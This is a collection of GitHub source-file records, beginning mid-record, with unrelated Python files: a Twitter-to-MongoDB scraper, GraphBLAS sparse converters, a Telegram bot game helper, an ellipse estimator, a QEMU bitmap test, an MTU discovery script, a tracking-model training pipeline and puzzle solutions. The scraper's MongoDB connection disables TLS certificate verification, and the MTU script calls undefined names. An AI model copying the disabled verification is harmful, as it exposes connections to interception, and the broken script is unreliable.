buy[i] + p) \n return sell[k] ","repo_name":"DiracSea/LC","sub_path":"Array/buyAndSell4.py","file_name":"buyAndSell4.py","file_ext":"py","file_size_in_byte":493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"4104410218","text":"\n\"\"\"\nUnder construction\n\"\"\"\n\nimport os\nimport tweepy as tw\nimport pandas as pd\nimport os\nfrom collections import defaultdict\nfrom pymongo import MongoClient\n\nfrom dotenv import load_dotenv\nload_dotenv(\"../.env\")\n\nmongo_cli_username = os.environ.get('MONGO_CLI_USERNAME')\nmongo_cli_password = os.environ.get('MONGO_CLI_PASSWORD')\ncluster_name = os.environ.get('CLUSTER_NAME')\n\nclient = MongoClient(\n \"mongodb+srv://{}:{}@{}.plop5.mongodb.net/myFirstDatabase?retryWrites=true&w=majority&ssl=true&ssl_cert_reqs=CERT_NONE\".format(\n mongo_cli_username, mongo_cli_password, cluster_name\n )\n)\ndb = client[mongo_cli_username]\n\ndate_since = \"2020-02-17\"\nquery_count = 10\n\nkeywords = [\"amazon\"]\n\nclass Tweet:\n def __init__(self, date_since, db, keywords, lang=\"en\", query_count=10):\n consumer_key = os.environ.get('tweet_consumer_key')\n consumer_secret = os.environ.get('tweet_consumer_secret')\n access_token = os.environ.get('tweet_access_token')\n access_token_secret = os.environ.get('tweet_access_token_secret')\n\n self.keywords = keywords\n\n auth = tw.OAuthHandler(consumer_key, consumer_secret)\n auth.set_access_token(access_token, access_token_secret)\n self.api = tw.API(auth, wait_on_rate_limit=True)\n self.date_since = date_since\n self.query_count = query_count\n self.lang = lang\n # self.col_names = [\"user.name\", \"full_text\", \"created_at\", \"lang\"]\n self.keyword_dict = defaultdict(list)\n \n # Collect tweets\n def get_tweets(self, keyword):\n self.search_query = '{} OR {} OR {} -filter:links'.format(\n keyword.lower(), keyword.upper(), keyword.title())\n\n self.tweets = tw.Cursor(self.api.search,\n q=self.search_query,\n tweet_mode='extended',\n lang=self.lang,\n since=self.date_since).items(self.query_count)\n\n json_data = [r._json for r in self.tweets]\n dfebn = pd.json_normalize(json_data)\n dfebn[\"full_text\"] = self.clean_entry(dfebn[\"full_text\"])\n\n for index, row in dfebn.iterrows():\n self.keyword_dict[keyword].append({\n \"username\": row[\"user.name\"],\n \"lang\": self.lang,\n \"date\": row[\"created_at\"],\n \"full_text\": row[\"full_text\"]\n })\n\n #add to mongo\n db.tweets.update_many({\"keyword\": keyword}, {\n \"$set\": {\"tweets\": self.keyword_dict[keyword]}}, upsert=True)\n\n\n def clean_entry(self, entry):\n return (\n entry\n .replace(\"\\n\", \"\") # remove new lines\n .replace(\"\\'\", \"'\") # fix apostrophe\n .replace(\"\\xa0\", \"\")\n )\n\n def scrape_all(self, keywords):\n\n for keyword in keywords:\n self.get_tweets(keyword)\n\n return self.keyword_dict\n\n \n\ntweet = Tweet(date_since, db, keywords, \"en\", query_count)\ntweets = tweet.scrape_all(keywords)\nprint(tweets)\n","repo_name":"sametgumus212/healdash-data-scraper","sub_path":"classes/tweet.py","file_name":"tweet.py","file_ext":"py","file_size_in_byte":3036,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"13652123963","text":"from ..core.matrix import Matrix\nfrom ..core.utils import output_type\nfrom ..core.vector import Vector\nfrom ..exceptions import GraphblasException\nfrom ._scipy import from_scipy_sparse, to_scipy_sparse\n\n\ndef from_pydata_sparse(s, *, dup_op=None, name=None):\n \"\"\"Create a Vector or a Matrix from a pydata.sparse array or matrix.\n\n Input data in \"gcxs\" format will be efficient when importing with SuiteSparse:GraphBLAS.\n\n Parameters\n ----------\n s : sparse\n PyData sparse array or matrix (see https://sparse.pydata.org)\n dup_op : BinaryOp, optional\n Aggregation function for formats that allow duplicate entries (e.g. coo)\n name : str, optional\n Name of resulting Matrix\n\n Returns\n -------\n :class:`~graphblas.Vector`\n :class:`~graphblas.Matrix`\n \"\"\"\n try:\n import sparse\n except ImportError: # pragma: no cover (import)\n raise ImportError(\"sparse is required to import from pydata sparse\") from None\n if not isinstance(s, sparse.SparseArray):\n raise TypeError(\n \"from_pydata_sparse only accepts objects from the `sparse` library; \"\n \"see https://sparse.pydata.org\"\n )\n if s.ndim > 2:\n raise GraphblasException(\"m.ndim must be <= 2\")\n\n if s.ndim == 1:\n # the .asformat('coo') makes it easier to convert dok/gcxs using a single approach\n _s = s.asformat(\"coo\")\n return Vector.from_coo(\n _s.coords, _s.data, dtype=_s.dtype, size=_s.shape[0], dup_op=dup_op, name=name\n )\n # handle two-dimensional arrays\n if isinstance(s, sparse.GCXS):\n return from_scipy_sparse(s.to_scipy_sparse(), dup_op=dup_op, name=name)\n if isinstance(s, (sparse.DOK, sparse.COO)):\n _s = s.asformat(\"coo\")\n return Matrix.from_coo(\n *_s.coords,\n _s.data,\n nrows=_s.shape[0],\n ncols=_s.shape[1],\n dtype=_s.dtype,\n dup_op=dup_op,\n name=name,\n )\n raise ValueError(f\"Unknown sparse array type: {type(s).__name__}\") # pragma: no cover (safety)\n\n\ndef to_pydata_sparse(A, format=\"coo\"):\n \"\"\"Create a pydata.sparse array from a GraphBLAS Matrix or Vector.\n\n Parameters\n ----------\n A : Matrix or Vector\n GraphBLAS object to be converted\n format : str\n {'coo', 'dok', 'gcxs'}\n\n Returns\n -------\n sparse array (see https://sparse.pydata.org)\n\n \"\"\"\n try:\n from sparse import COO\n except ImportError: # pragma: no cover (import)\n raise ImportError(\"sparse is required to export to pydata sparse\") from None\n\n format = format.lower()\n if format not in {\"coo\", \"dok\", \"gcxs\"}:\n raise ValueError(f\"Invalid format: {format}\")\n\n if output_type(A) is Vector:\n indices, values = A.to_coo(sort=False)\n s = COO(indices, values, shape=A.shape)\n else:\n if format == \"gcxs\":\n B = to_scipy_sparse(A, format=\"csr\")\n else:\n # obtain an intermediate conversion via hardcoded 'coo' intermediate object\n B = to_scipy_sparse(A, format=\"coo\")\n # convert to pydata.sparse\n s = COO.from_scipy_sparse(B)\n\n # express in the desired format\n return s.asformat(format)\n","repo_name":"python-graphblas/python-graphblas","sub_path":"graphblas/io/_sparse.py","file_name":"_sparse.py","file_ext":"py","file_size_in_byte":3246,"program_lang":"python","lang":"en","doc_type":"code","stars":90,"dataset":"github-code","pt":"11"} +{"seq_id":"70115922907","text":"import random\nimport requests\n\nfrom lexicon.lexicon_ru import LEXICON_RU\n\n\n# Исходники для игры\nATTEMPTS: int = 6\n\n# Словарь, в котором будут храниться данные пользователя\nusers: dict = {}\n\n\n# Функция возвращающая случайное целое число от 1 до 100\ndef get_random_number() -> int:\n return random.randint(1, 100)\n\n\n# Функция возвращающая оставшееся количество попыток\ndef show_attempts(attempt: int) -> str:\n if attempt > 1:\n return f'Доступное количество попыток: {attempt}.'\n elif attempt == 1:\n return 'У тебя осталась последняя попытка🤞'\n else:\n return 'К сожалению, попыток больше не осталось😿'\n\n\n# Функция возвращающая случайную картинку с котиком\ndef get_random_cat() -> tuple[bool, str]:\n cat_response = requests.get('https://api.thecatapi.com/v1/images/search')\n if cat_response.status_code == 200:\n cat_link = cat_response.json()[0]['url']\n return True, cat_link\n else:\n return False,\n\n\n# Функция возвращающая случайную гифку\ndef get_random_gif() -> tuple[bool, str]:\n gif_response = requests.get('https://yesno.wtf/api')\n if gif_response.status_code == 200:\n gif_link = gif_response.json()['image']\n return True, gif_link\n else:\n return False,\n\n\n# Функция, возвращающая случайный выбор бота в игре\ndef get_bot_choice() -> str:\n return random.choice(['rock', 'paper', 'scissors'])\n\n\n# Функция, возвращающая ключ из словаря, по которому\n# хранится значение, передаваемое как аргумент - выбор пользователя\ndef _normalize_user_answer(user_answer: str) -> str:\n for key in LEXICON_RU:\n if LEXICON_RU[key] == user_answer:\n break\n return key\n\n\n# Функция, определяющая победителя\ndef get_winner(user_choice: str, bot_choice: str) -> str:\n user_choice = _normalize_user_answer(user_choice)\n rules: dict[str, str] = {'rock': 'scissors',\n 'scissors': 'paper',\n 'paper': 'rock'}\n if user_choice == bot_choice:\n return 'nobody_won'\n elif rules[user_choice] == bot_choice:\n return 'user_won'\n else:\n return 'bot_won'\n","repo_name":"NikitaBolokhov/My_project","sub_path":"services/services.py","file_name":"services.py","file_ext":"py","file_size_in_byte":2636,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"40299428049","text":"import math\n\nimport numpy as np\n\nfrom ellipse import Ellipse\n\n\nclass EllipseEstimator(object):\n NUM_BIN_N_ACCUMULATOR = 100\n NUM_BIN_RHO_ACCUMULATOR = 180\n MAX_MAJOR_SEMI_AXIS_LEN = 500\n\n def __init__(self):\n pass\n\n def estimate(self, ellipse_cands):\n \"\"\"Estimate parameters of all ellipse candidates\n\n Args:\n ellipse_cands: A list of EllipseCandidate instance.\n\n Returns:\n A list of Ellipse instance.\n \"\"\"\n ellipses = []\n\n for ellipse_cand in ellipse_cands:\n ellipse = self._estimate(ellipse_cand)\n\n if ellipse is not None:\n ellipses.append(ellipse)\n\n return ellipses\n\n def _estimate(cls, ellipse_cand):\n \"\"\"Estimate ellipse parameters\n\n Args:\n ellipse_cand: A EllipseCandidate instance.\n\n Returns:\n A Ellipse instance.\n \"\"\"\n\n seg_i, seg_j, cij, ra_ij, rb_ij, sa_ij, sb_ij = ellipse_cand.seg_pair_ij.all_params\n seg_k, _, cki, ra_ki, rb_ki, sa_ki, sb_ki = ellipse_cand.seg_pair_ki.all_params\n\n # Estimate ellipse center\n xc = (cij[0] + cki[0]) / 2\n yc = (cij[1] + cki[1]) / 2\n\n # Estimate ellipse angle (rho) and N (ratio of major and minor axis\n q_values = [\n [ra_ij, sa_ij, ra_ki, sa_ki],\n [ra_ij, sa_ij, rb_ki, sb_ki],\n [rb_ij, sb_ij, rb_ki, sb_ki],\n [rb_ij, sb_ij, ra_ki, sa_ki],\n ]\n\n # Estimate N and rho(angle of ellipse).\n n_acc = [0] * cls.NUM_BIN_N_ACCUMULATOR # N \\in [0, 1]\n rho_acc = [0] * cls.NUM_BIN_RHO_ACCUMULATOR # \\rho \\in [-\\pi/2, \\pi/2]\n for i in range(4):\n q1, q2_list, q3, q4_list = q_values[i]\n for q2 in q2_list:\n for q4 in q4_list:\n alpha = q1 * q2 - q3 * q4\n beta = (q3 * q4 + 1) * (q1 + q2) - (q1 * q2 + 1) * (q3 + q4)\n k_plus = (-beta + math.sqrt(beta ** 2 + 4 * alpha ** 2)) / (2 * alpha)\n try:\n v = ((q1 - k_plus) * (q2 - k_plus) / ((1 + q1 * k_plus) * (1 + q2 * k_plus)))\n n_plus = math.sqrt(-v)\n except ValueError:\n print('ValueError exception')\n continue # TODO: Avoid plus v value. Is avoiding ValueError wrong process?\n\n if n_plus <= 1:\n n = n_plus\n else:\n n = 1.0 / n_plus\n\n if n_plus <= 1:\n rho = math.atan(k_plus)\n else:\n rho = math.atan(k_plus) + math.pi / 2\n\n if rho > math.pi / 2:\n rho -= math.pi\n\n rho_bin = int((rho + math.pi / 2) / math.pi * (cls.NUM_BIN_RHO_ACCUMULATOR - 1))\n n_bin = int(n * (cls.NUM_BIN_N_ACCUMULATOR - 1))\n\n n_acc[n_bin] += 1\n rho_acc[rho_bin] += 1\n\n n = np.argmax(n_acc) / (cls.NUM_BIN_N_ACCUMULATOR - 1.0)\n rho = np.argmax(rho_acc) / (cls.NUM_BIN_RHO_ACCUMULATOR - 1.0) * math.pi - math.pi / 2 # Ellipse angle\n k = math.tan(rho)\n\n a_acc = [0] * (cls.MAX_MAJOR_SEMI_AXIS_LEN + 1)\n for xi, yi in np.r_[seg_i.points, seg_j.points, seg_k.points]:\n x0 = ((xi - xc) + (yi - yc) * k) / math.sqrt(k ** 2 + 1)\n y0 = (-(xi - xc) * k + (yi - yc)) / math.sqrt(k ** 2 + 1)\n ax = math.sqrt((x0 ** 2 * n ** 2 + y0 ** 2) / (n ** 2 * (k ** 2 + 1)))\n a = ax / math.cos(rho)\n a_acc[int(a)] += 1\n\n a = np.argmax(a_acc) # Major semi-axis length\n b = a * n # Minor semi-axis length\n\n # Compute accuracy score\n ellipse = Ellipse(center=np.array([xc, yc], dtype=np.float32), major_len=a, minor_len=b, angle=rho)\n accuracy_score = (ellipse.count_lying_points(seg_i) + ellipse.count_lying_points(seg_j) + ellipse.count_lying_points(seg_k)) / float(seg_i.points.shape[0] + seg_j.points.shape[0] + seg_k.points.shape[0])\n ellipse.accuracy_score = accuracy_score\n\n return ellipse\n","repo_name":"horiken4/ellipse-detection","sub_path":"ellipse_detection/ellipse_estimator.py","file_name":"ellipse_estimator.py","file_ext":"py","file_size_in_byte":4200,"program_lang":"python","lang":"en","doc_type":"code","stars":48,"dataset":"github-code","pt":"11"} +{"seq_id":"6947301743","text":"import json\nimport logging\n\nfrom avocado.utils import process\n\nfrom virttest import utils_misc\nfrom virttest import data_dir\n\nfrom provider import backup_utils\nfrom provider.blockdev_base import BlockdevBaseTest\n\nLOG_JOB = logging.getLogger('avocado.test')\n\n\nclass BlkdevIncXptInconBitmap(BlockdevBaseTest):\n\n def __init__(self, test, params, env):\n super(BlkdevIncXptInconBitmap, self).__init__(test, params, env)\n self.source_images = []\n self.full_backups = []\n self.bitmaps = []\n self.src_img_tags = params.objects(\"source_images\")\n list(map(self._init_arguments_by_params, self.src_img_tags))\n\n def _init_arguments_by_params(self, tag):\n image_params = self.params.object_params(tag)\n image_chain = image_params.objects(\"image_backup_chain\")\n self.source_images.append(\"drive_%s\" % tag)\n self.full_backups.append(\"drive_%s\" % image_chain[0])\n self.bitmaps.append(\"bitmap_%s\" % tag)\n image_params[\"nbd_export_bitmaps\"] = \"bitmap_%s\" % tag\n\n def do_full_backup(self):\n extra_options = {\"sync\": \"full\",\n \"persistent\": True,\n \"auto_disable_bitmap\": False}\n backup_utils.blockdev_batch_backup(\n self.main_vm,\n self.source_images,\n self.full_backups,\n list(self.bitmaps),\n **extra_options)\n\n def prepare_data_disk(self, tag):\n \"\"\"\n Override this function, only make fs and mount it\n :param tag: image tag\n \"\"\"\n self.format_data_disk(tag)\n\n def gen_inc_files(self):\n return list(map(self.generate_data_file, self.src_img_tags))\n\n def kill_vm_after_restart(self):\n LOG_JOB.info(\"Re-start vm again\")\n self.main_vm.create()\n session = self.main_vm.wait_for_login()\n LOG_JOB.info(\"Kill vm after its start\")\n self.main_vm.monitors = []\n self.main_vm.destroy(gracefully=False)\n\n def check_bitmap_status(self, inconsistent=False):\n def _get_bitmap_info(bitmap_name):\n src_img = self.source_disk_define_by_params(self.params,\n self.src_img_tags[0])\n output = json.loads(src_img.info(output=\"json\"))\n bitmaps = output[\"format-specific\"][\"data\"].get(\"bitmaps\")\n if bitmaps:\n for bitmap in bitmaps:\n if bitmap[\"name\"] == bitmap_name:\n return bitmap\n return None\n\n if inconsistent:\n LOG_JOB.info(\"Check bitmap is inconsistent stored in image\")\n else:\n LOG_JOB.info(\"Check persistent bitmap stored in image\")\n bitmap_info = _get_bitmap_info(self.bitmaps[0])\n if not bitmap_info:\n self.test.fail(\"Persistent bitmap not stored in image\")\n if inconsistent and \"in-use\" not in bitmap_info[\"flags\"]:\n self.test.fail(\"Bitmap stored is not inconsistent\")\n\n def expose_inconsistent_bitmap(self):\n LOG_JOB.info(\"Export inconsistent bitmap with qemu-nbd\")\n img_path = data_dir.get_data_dir()\n qemu_nbd_cmd = utils_misc.get_qemu_nbd_binary(self.params)\n cmd = self.params.get(\"export_cmd\") % (qemu_nbd_cmd,\n self.bitmaps[0],\n img_path)\n result = process.run(cmd, ignore_status=True, shell=True,\n ignore_bg_processes=True)\n if result.exit_status == 0:\n ck_qemunbd_pid = self.params.get(\"ck_qemunbd_pid\")\n qemu_nbd_ck = process.run(ck_qemunbd_pid,\n ignore_status=True,\n shell=True,\n ignore_bg_processes=True)\n qemu_nbd_pid = qemu_nbd_ck.stdout_text.strip()\n utils_misc.kill_process_tree(qemu_nbd_pid, 9, timeout=60)\n self.test.fail(\"Can expose image with a non-exist bitmap\")\n\n error_msg = self.params.get(\"error_msg\") % self.bitmaps[0]\n if error_msg not in result.stderr.decode():\n self.test.fail(result.stderr.decode())\n\n def do_test(self):\n self.do_full_backup()\n self.gen_inc_files()\n self.main_vm.destroy(free_mac_addresses=False)\n self.check_bitmap_status()\n self.kill_vm_after_restart()\n self.check_bitmap_status(inconsistent=True)\n self.expose_inconsistent_bitmap()\n\n\ndef run(test, params, env):\n \"\"\"\n Expose inconsistent bitmap via qemu-nbd\n\n test steps:\n 1. boot VM with a 2G data disk\n 2. format data disk and mount it\n 3. add target disks for backup to VM via qmp commands\n 4. do full backup and add persistent bitmap\n 5. create another file\n 6. shutdown VM via kill cmd\n 7. expose inconsistent bitmap with qemu-nbd\n\n :param test: test object\n :param params: test configuration dict\n :param env: env object\n \"\"\"\n expose_incon_bitmap = BlkdevIncXptInconBitmap(test, params, env)\n expose_incon_bitmap.run_test()\n","repo_name":"autotest/tp-qemu","sub_path":"qemu/tests/blockdev_inc_backup_xpt_incon_bitmap.py","file_name":"blockdev_inc_backup_xpt_incon_bitmap.py","file_ext":"py","file_size_in_byte":5137,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"11"} +{"seq_id":"23805889425","text":"from django.contrib import admin\nfrom app.models import Todo\n\n# Register your models here.\n@admin.register(Todo)\nclass TodoAdmin(admin.ModelAdmin):\n list_display = [\n \"title\",\n \"status\",\n \"created_at\",\n \"updated_at\",\n \"is_updated\",\n ]","repo_name":"Davidson015/TodoDjango","sub_path":"app/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":251,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"40327651527","text":"#!/usr/bin/env python3\n\nimport argparse, socket, IN\n\n#IN only in Linux\n\nif not hasattr(IN, 'IP_MTU'):\n raise RuntimeError(\"Can't perform MTU discovery\")\n\ndef send_big_datagram(host, port):\n sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n sock.setsockopt(socket.IPPROTO_IP, IN.IP_MTU_DISCOVER, IN.IP_PMTUDISC_DO)\n sock.connect((host, port))\n try:\n sock.send(b'#' * 65000)\n except socket.error:\n print(\"Datagram couldn't pass\")\n max_mtu = sock.getsockopt(socket.IPPROTO_IP, IN.IP_MTU)\n print(\"Actual MTU {}\".format(max_mtu))\n else:\n print(\"Datagram sent\")\n\nif __name__ == \"__main__\":\n choices = {\"client\": client, \"server\": server}\n parser = argparse.ArgumentParser(description=\"Send UDP to get MTU\")\n parser.add_argument('host', help=\"Server: Interface to listen at; Client: Host to connect to\")\n parser.add_argument('-p', metavar='PORT', default=1060, type=int, help=\"UDP port (default: 1060)\")\n args = parser.parse_args()\n send_big_datagram(args.host, args.p)","repo_name":"v0idFuncti0n/Coins_dataset_generator","sub_path":"2/big_sender.py","file_name":"big_sender.py","file_ext":"py","file_size_in_byte":1043,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"2060123102","text":"from bigfloat import *\nimport math\n\ndvc = 50.0\nsigma = 0.05\nE = 1\n\ndef mH(x):\n return pow(BigFloat(x), dvc-1)\n \n\nclass Devroye():\n N = 1000.0\n threshold = 0.9\n res = [] # To save the all eposon which smaller than the threshold\n diff = [] # To save the all difference which smaller than the threshold\n\n def __init__(self, N):\n self.N = N\n\n def Devroye_left(self):\n return E\n\n def Devroye_right(self):\n lnInside = 4 * BigFloat(mH( pow(self.N, 2) )) / sigma\n rootInside = ( 4 * E * ( 1 + E ) + math.log(lnInside) ) / ( 2 * self.N )\n return pow(rootInside, 0.5)\n\n def Devroye(self):\n global E\n E = 1\n \n while E >= 0:\n if math.fabs( self.Devroye_left() - self.Devroye_right() ) < self.threshold:\n self.res.append(E)\n self.diff.append(math.fabs( self.Devroye_left() - self.Devroye_right() ))\n E -= 0.001\n\n \"\"\"\n for i in range(len(self.res)):\n print \"E: \", self.res[i], \"\\tdirr: \", self.diff[i]\n \"\"\" \n \n # Count the minimum\n i = 0\n j = 1\n k = 2\n while True:\n if self.diff[i] > self.diff[j] and self.diff[k] > self.diff[j]:\n return self.res[j]\n elif k == len(self.res) - 1:\n return self.res[k]\n else:\n i += 1\n j += 1\n k += 1 \n \n\n#devroye = Devroye(1000)\n#print devroye.Devroye()","repo_name":"SunnerLi/U4240","sub_path":"homework2/Devroye.py","file_name":"Devroye.py","file_ext":"py","file_size_in_byte":1516,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"8865140025","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jan 6 12:27:45 2022\n\n@author: para\n\"\"\"\n\nfrom integrate_array import integrate_array\nfrom unpack_histogram import unpack_histogram\n\ndef integrate_histogram(hist):\n \"\"\"\n integrate the histogram \n\n \"\"\"\n hist_i = hist.Clone()\n hist_i.SetTitle(hist.GetTitle() + ' , integral')\n \n nbin,delta,xc,cont,entries = unpack_histogram(hist) \n cont_i = integrate_array(cont)\n for i in range(len(cont)):\n hist_i.SetBinContent(i+1,cont_i[i])\n\n return hist_i ","repo_name":"adampara/pytonlib","sub_path":"integrate_histogram.py","file_name":"integrate_histogram.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"1234271674","text":"\"\"\"\nNodes for the model training pipeline.\n\"\"\"\n\n\nfrom typing import Any, Dict, List, Tuple\nfrom pathlib import Path\n\nimport numpy as np\nimport tensorflow as tf\nfrom loguru import logger\nfrom keras import layers\nfrom keras.applications.efficientnet_v2 import EfficientNetV2S\n\nfrom ..callbacks import LogHeatmaps, KeepBest\nfrom ..config import ModelConfig\nfrom ..schemas import ModelInputs, ModelTargets\nfrom ..training_utils import (\n get_log_dir,\n make_common_callbacks,\n)\nfrom .combined_model import build_combined_model, build_separate_models_yolo\nfrom .yolo import load_yolo\nfrom .losses import make_losses\nfrom .metrics import make_metrics\n\n\ndef prepare_pretrained_encoder(\n encoder: tf.keras.Model, config: ModelConfig, freeze_fraction: float = 1.0\n) -> tf.keras.Model:\n \"\"\"\n Prepares a custom pretrained model to be used as an encoder. In this case,\n the model is expected to be an EfficientNetV2 model. It will be frozen and\n have the proper layers extracted.\n\n Args:\n encoder: The model to use as the encoder.\n config: The model configuration.\n freeze_fraction: Fraction of the layers to freeze. A number <1 will\n allow layers at the top to be trained while keeping the bottom\n frozen.\n\n Returns:\n A modified model.\n\n \"\"\"\n logger.info(\"Using a custom pre-trained encoder.\")\n\n # Change the input size of the model.\n new_input = layers.Input(\n shape=config.detection_model_input_shape,\n name=ModelInputs.DETECTIONS_FRAME.value,\n )\n # It's easiest here to create a fresh encoder and manually copy pre-trained\n # weights.\n new_encoder = EfficientNetV2S(\n include_top=False,\n input_tensor=new_input,\n input_shape=config.detection_model_input_shape,\n weights=\"imagenet\",\n )\n\n # Calculate how many layers to freeze.\n num_layers = len(new_encoder.layers)\n num_to_freeze = int(num_layers * freeze_fraction)\n logger.debug(\"Freezing {} layers out of {}.\", num_to_freeze, num_layers)\n\n # Copy over the pre-trained weights.\n for i, new_layer in enumerate(new_encoder.layers[1:]):\n old_layer = encoder.get_layer(new_layer.name)\n\n if i <= num_to_freeze:\n weights = old_layer.get_weights()\n if new_layer.name == \"stem_conv\" and weights[0].shape[2] == 1:\n # For a colorization model, expand the weights to support\n # color input.\n logger.debug(\"Expanding model weights for color input.\")\n weights[0] = np.concatenate([weights[0]] * 3, axis=2) / 3.0\n\n new_layer.set_weights(weights)\n new_layer.trainable = False\n else:\n new_layer.trainable = True\n\n # Extract the layers that we need.\n block2 = new_encoder.get_layer(\"block2d_add\").get_output_at(0)\n block3 = new_encoder.get_layer(\"block3d_add\").get_output_at(0)\n block5 = new_encoder.get_layer(\"block5i_add\").get_output_at(0)\n top = new_encoder.get_layer(\"top_activation\").get_output_at(0)\n\n return tf.keras.Model(\n inputs=new_encoder.inputs, outputs=[block2, block3, block5, top]\n )\n\n\ndef create_model(config: ModelConfig, *, yolo_path: Path) -> tf.keras.Model:\n \"\"\"\n Builds the model to use.\n\n Args:\n config: The model configuration.\n yolo_path: The path to the saved pretrained YOLO detector.\n\n Returns:\n The end-to-end model.\n\n \"\"\"\n yolo = load_yolo(saved_model=yolo_path, config=config)\n yolo.trainable = False\n detector, appearance, tracker = build_separate_models_yolo(\n config, yolo_model=yolo\n )\n combined = build_combined_model(\n config, detector=detector, appearance=appearance, tracker=tracker\n )\n logger.info(\"Model has {} parameters.\", combined.count_params())\n\n combined.summary()\n return combined\n\n\ndef _make_callbacks(\n *,\n model: tf.keras.Model,\n dataset: tf.data.Dataset,\n tensorboard_output_dir: str,\n heatmap_size: Tuple[int, int],\n heatmap_period: int,\n num_heatmap_batches: int,\n num_heatmap_images: int,\n **kwargs: Any,\n) -> List[tf.keras.callbacks.Callback]:\n \"\"\"\n Creates callbacks to use when training the model.\n\n Args:\n model: The model to log heatmaps from.\n dataset: The dataset to use for logging heatmaps.\n tensorboard_output_dir: The directory to use for storing Tensorboard\n logs.\n heatmap_size: Size of the logged heatmap visualizations.\n (width, height)\n heatmap_period: Period at which to generate heatmap visualizations,\n in epochs.\n num_heatmap_batches: Total number of batches to log heatmap data from.\n num_heatmap_images: Total number of heatmap images to include in each\n batch.\n **kwargs: Will be forwarded to `make_common_callbacks`.\n\n Returns:\n The list of callbacks.\n\n \"\"\"\n common_callbacks = make_common_callbacks(\n tensorboard_output_dir=tensorboard_output_dir, **kwargs\n )\n\n log_dir = get_log_dir(tensorboard_output_dir)\n # heatmap_callback = LogHeatmaps(\n # model=model,\n # dataset=dataset,\n # log_dir=log_dir / \"heatmaps\",\n # resize_images=heatmap_size,\n # log_period=heatmap_period,\n # max_num_batches=num_heatmap_batches,\n # num_images_per_batch=num_heatmap_images,\n # )\n\n return common_callbacks\n\n\ndef _remove_detection_targets(dataset: tf.data.Dataset) -> tf.data.Dataset:\n \"\"\"\n Removes the detection-related targets from a dataset.\n\n Args:\n dataset: The dataset to remove the targets from.\n\n Returns:\n The dataset without the targets.\n\n \"\"\"\n return dataset.map(\n lambda inputs, targets: (\n inputs,\n {\n k: targets[k]\n for k in [\n ModelTargets.SINKHORN.value,\n ModelTargets.ASSIGNMENT.value,\n ]\n },\n )\n )\n\n\ndef train_model(\n model: tf.keras.Model,\n *,\n training_data: tf.data.Dataset,\n testing_data: tf.data.Dataset,\n learning_phases: List[Dict[str, Any]],\n validation_frequency: int = 1,\n loss_params: Dict[str, Any],\n heatmap_loss_weight: float = 1.0,\n geometry_loss_weight: float = 1.0,\n sinkhorn_loss_weight: float = 1.0,\n **kwargs: Any,\n) -> Tuple[tf.keras.Model, tf.keras.Model]:\n \"\"\"\n Trains a model.\n\n Args:\n model: The end-to-end model. This should share weights with the\n other two models.\n training_data: The `Dataset` containing pre-processed training data.\n testing_data: The `Dataset` containing pre-processed testing data.\n learning_phases: List of hyperparameter configurations for each training\n stage, in order.\n validation_frequency: Number of training epochs after which to run\n validation.\n loss_params: Parameters to pass to the loss functions.\n heatmap_loss_weight: The loss weight for the heatmap focal loss.\n geometry_loss_weight: The loss weight for the L1 geometry loss.\n sinkhorn_loss_weight: The loss weight for the sinkhorn loss.\n **kwargs: Will be forwarded to `_make_callbacks()`.\n\n Returns:\n The trained model from the best epoch and from the last epoch.\n\n \"\"\"\n training_data = _remove_detection_targets(training_data)\n testing_data = _remove_detection_targets(testing_data)\n\n # Add a callback for keeping track of the best model.\n best_model_callback = KeepBest()\n\n for phase in learning_phases:\n logger.info(\"Starting new training phase.\")\n logger.debug(\"Using phase parameters: {}\", phase)\n\n callbacks = _make_callbacks(\n model=model,\n dataset=testing_data,\n training_params=phase,\n **kwargs,\n )\n callbacks.append(best_model_callback)\n\n optimizer = tf.keras.optimizers.Adam(\n learning_rate=phase[\"learning_rate\"][\"initial\"]\n )\n model.compile(\n optimizer=optimizer,\n loss=make_losses(**loss_params),\n # loss_weights={\n # ModelTargets.HEATMAP.value: heatmap_loss_weight,\n # ModelTargets.GEOMETRY_DENSE_PRED.value: geometry_loss_weight,\n # ModelTargets.SINKHORN.value: sinkhorn_loss_weight,\n # },\n metrics=make_metrics(),\n )\n model.fit(\n training_data,\n validation_data=testing_data,\n epochs=phase[\"num_epochs\"],\n callbacks=callbacks,\n validation_freq=validation_frequency,\n )\n\n return best_model_callback.best_model, model\n","repo_name":"UGA-BSAIL/cotton_flower_mot","sub_path":"src/cotton_flower_mot/pipelines/model_training/nodes.py","file_name":"nodes.py","file_ext":"py","file_size_in_byte":8709,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"71205270748","text":"#!/usr/bin/python3\n#Day 26 Problem solving, coming from https://www.hackerrank.com/challenges/ctci-ransom-note/\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n# Complete the checkMagazine function below.\ndef checkMagazine(magazine, note):\n # init variable\n if len(magazine) < len(note):\n print(\"No\")\n return\n magazine.sort()\n note.sort()\n\n for i in range(0, len(note)):\n success = 0\n for j in range(0, len(magazine)):\n if magazine[j] == note[i] :\n del magazine[j]\n success = 1\n break\n if success == 0:\n print(\"No\")\n return\n print(\"Yes\")\n return\n\n\nif __name__ == '__main__':\n mn = input().split()\n\n m = int(mn[0])\n\n n = int(mn[1])\n\n magazine = input().rstrip().split()\n\n note = input().rstrip().split()\n\n checkMagazine(magazine, note)\n\n","repo_name":"kennyjeong/line","sub_path":"day_26/day_26_1.py","file_name":"day_26_1.py","file_ext":"py","file_size_in_byte":899,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} 